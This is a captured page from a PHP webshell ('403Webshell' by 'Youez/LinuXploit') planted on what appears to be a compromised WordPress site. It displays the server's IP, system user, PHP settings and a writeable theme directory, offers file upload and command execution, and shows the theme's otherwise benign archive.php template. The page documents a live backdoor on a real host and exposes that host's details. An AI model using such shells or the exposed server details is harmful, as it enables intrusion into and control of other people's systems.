403Webshell
Server IP : 103.191.208.88  /  Your IP : 216.73.216.44
Web Server : Microsoft-IIS/10.0
System : Windows NT COSMIC 10.0 build 20348 (Windows Server 2022) AMD64
User : IWPD_1831(willswel_) ( 0)
PHP Version : 8.2.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/Inetpub/vhosts/willswell.com/httpdocs/wp-content/themes/newsmash/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/Inetpub/vhosts/willswell.com/httpdocs/wp-content/themes/newsmash/archive.php
<?php
/**
 * The template for displaying archive pages.
 *
 * @link https://codex.wordpress.org/Template_Hierarchy
 *
 * @package NewsMash
 */

get_header();
$newsmash_archive_pg_sidebar_option = get_theme_mod('newsmash_archive_pg_sidebar_option', 'right_sidebar'); 
$newsmash_archives_post_layout 		= get_theme_mod('newsmash_archives_post_layout', 'list');

$newsmash_archives_post_layout_list = $newsmash_archives_post_layout == 'list' ? 'padding-30 rounded bordered dt-posts-module' : 'padding-no dt-posts-module';
$newsmash_archives_post_layouts_row = ( $newsmash_archives_post_layout == 'list' || $newsmash_archives_post_layout == 'grid' ) ? 'dt-row dt-g-4 listgrid dt-posts' : 'dt-row-no dt-posts';
?>
<div class="dt-container-md">
	<div class="dt-row">
		<?php if($newsmash_archive_pg_sidebar_option == 'left_sidebar'): get_sidebar(); endif; ?>
		<?php if($newsmash_archive_pg_sidebar_option == 'no_sidebar'): ?>
			<div class="dt-col-lg-12 content-right">
		<?php else: ?>	
			<div id="dt-main" class="dt-col-lg-8 content-right">
		<?php endif; ?>	
			<div class="<?php echo esc_attr($newsmash_archives_post_layout_list); ?>">
				<div class="<?php echo esc_attr($newsmash_archives_post_layouts_row); ?>">
					<?php if( have_posts() ): ?>
					<?php 
					// Start the loop.
					while( have_posts() ) : the_post(); ?>
						<?php if($newsmash_archives_post_layout=='grid'): ?>
							<div class="dt-col-sm-6">
								<?php get_template_part('template-parts/content','page'); ?>
							</div>
						<?php	
							elseif($newsmash_archives_post_layout=='list'):
								get_template_part('template-parts/content','page-list'); 
							elseif($newsmash_archives_post_layout=='minimal'):
								get_template_part('template-parts/content','page-minimal');	
							elseif($newsmash_archives_post_layout=='classic'):
								get_template_part('template-parts/content','page-classic');	
							endif;	
						?>
					<?php endwhile; 
					// End the loop.
					
					 // Pagination.
						the_posts_pagination( array(
							'prev_text'          => '<i class="fa fa-angle-double-left"></i>',
							'next_text'          => '<i class="fa fa-angle-double-right"></i>'
						) );
						
						// If no content, include the "No posts found" template.
					else: 
						get_template_part('template-parts/content','none'); 
					endif; ?>		
				</div>
			</div>
		</div>
		<?php if($newsmash_archive_pg_sidebar_option == 'right_sidebar'): get_sidebar(); endif; ?>
	</div>
</div>
<?php get_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit